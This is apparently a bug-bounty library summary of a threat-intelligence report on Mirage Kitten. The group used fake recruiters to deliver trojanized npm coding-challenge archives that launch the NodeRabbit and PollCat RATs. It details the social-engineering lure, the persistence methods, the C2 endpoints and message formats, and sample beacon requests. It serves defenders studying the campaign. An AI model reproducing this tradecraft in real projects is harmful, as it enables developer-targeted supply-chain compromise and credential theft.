# Mirage Kitten targeting aviation and FinTech sectors across the Middle East and Africa with a new malware set

Mirage Kitten used fake recruiter personas to deliver trojanized coding-challenge archives whose first-line npm import launched NodeRabbit/PollCat RATs on developer machines across the Middle East and Africa.

- Payout: Real-world hack
- Severity: high
- Program: Mirage Kitten
- Analysis by: Omar Amin
- Disclosed: 2026-09-01
- Write-up quality: 8/10
- Original: https://securelist.com/mirage-kitten-new-backdoors-noderabbit-pollcat/121244/
- Library page: https://bugbountylibrary.com/r/blog%3Asecurelist-com-mirage-kitten-new-backdoors-noderabbit-pollcat-121244
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:incident platform:threat-intel sev:high tech:nodejs technique:recon technique:source-review vuln:rce vuln:secrets-leak

**Target:** Developer workstations (Windows/Linux/macOS) running Node.js coding-challenge projects
**Root cause:** The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0, bundled in node_modules rather than the registry; importing it silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.
**Steps:**
1. Fake recruiter contacts target on a job search platform and sends a link to a coding challenge hosted on Amazon S3 (e.g. `https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip`).
2. Target downloads and runs the project; README claims server.js is bug-free and must not be modified, imposing a 3-hour limit and banning AI assistants.
3. `server.js` first line imports `colorized_terminal` v2.1.0 from bundled node_modules, which spawns `node_modules/.cache/.320697f1/index.js` as a detached process.
4. NodeRabbit computes agent ID from SHA-256 of hostname/username/OS/arch/MAC (first 32 hex), binds 127.0.0.1:48739 as single-instance lock, and installs OS-specific persistence (Run key + patched nodew.exe on Windows, @reboot cron on Linux, LaunchAgent on macOS).
5. Agent POSTs AES-256-GCM-wrapped JSON `{"d":"base64(IV||ciphertext||tag)","_r":"8 hex","_t":"epoch"}` to `/api/rabbit/checkin`, POSTs to `/api/rabbit/task`, POSTs to `/api/rabbit/result` across Azure C2s.
6. Operator issues commands (proc:start, fs:read/write, script:exec, etc.); variant 3 adds VS Code extension and Git hook persistence plus Outlook OST/PST harvesting.
**How found:** Threat hunting detected suspicious activity on an Afghanistan system traced to a coding-challenge archive; README's insistence that server.js was bug-free and the ban on AI assistants drew attention to the first-line import of an unknown bundled npm package.
**Exploitation:** Recruiter social engineering pressures developers to run a trojanized assessment; the malicious import executes on project start, establishes encrypted C2 to Azure/Cloudflare-hosted endpoints, persists via Run keys/cron/LaunchAgents, and gives operators shell, file transfer, and credential-harvesting capability on developer workstations.
**Escalation:** Variant 3 adds fake VS Code extension (GitHub Copilot Helper) and Git post-merge/post-checkout hook injection to survive across developer workflows, plus Outlook email harvesting and C2 list replacement.
**Insight:** When auditing a delivered project, treat README instructions that forbid modifying or AI-reviewing a specific file as a red flag pointing at the tampered file; check first-line imports and bundled node_modules packages pinned to odd versions for detached-process spawns.

## Proof of concept (copied exactly from the original report)

**PollCat C2 beacon registration HTTP request**

```
POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json

{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}
```

**PollCat expects HTTP 400 handshake response with socketId**

```
HTTP/1.1 400
Content-Type: application/json

{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}
```

**NodeRabbit encrypted C2 request JSON structure**

```
{
 "d": "base64(IV || ciphertext || authentication_tag)",
 "_r": "8 hexadecimal characters",
 "_t": "epoch timestamp"
}
```

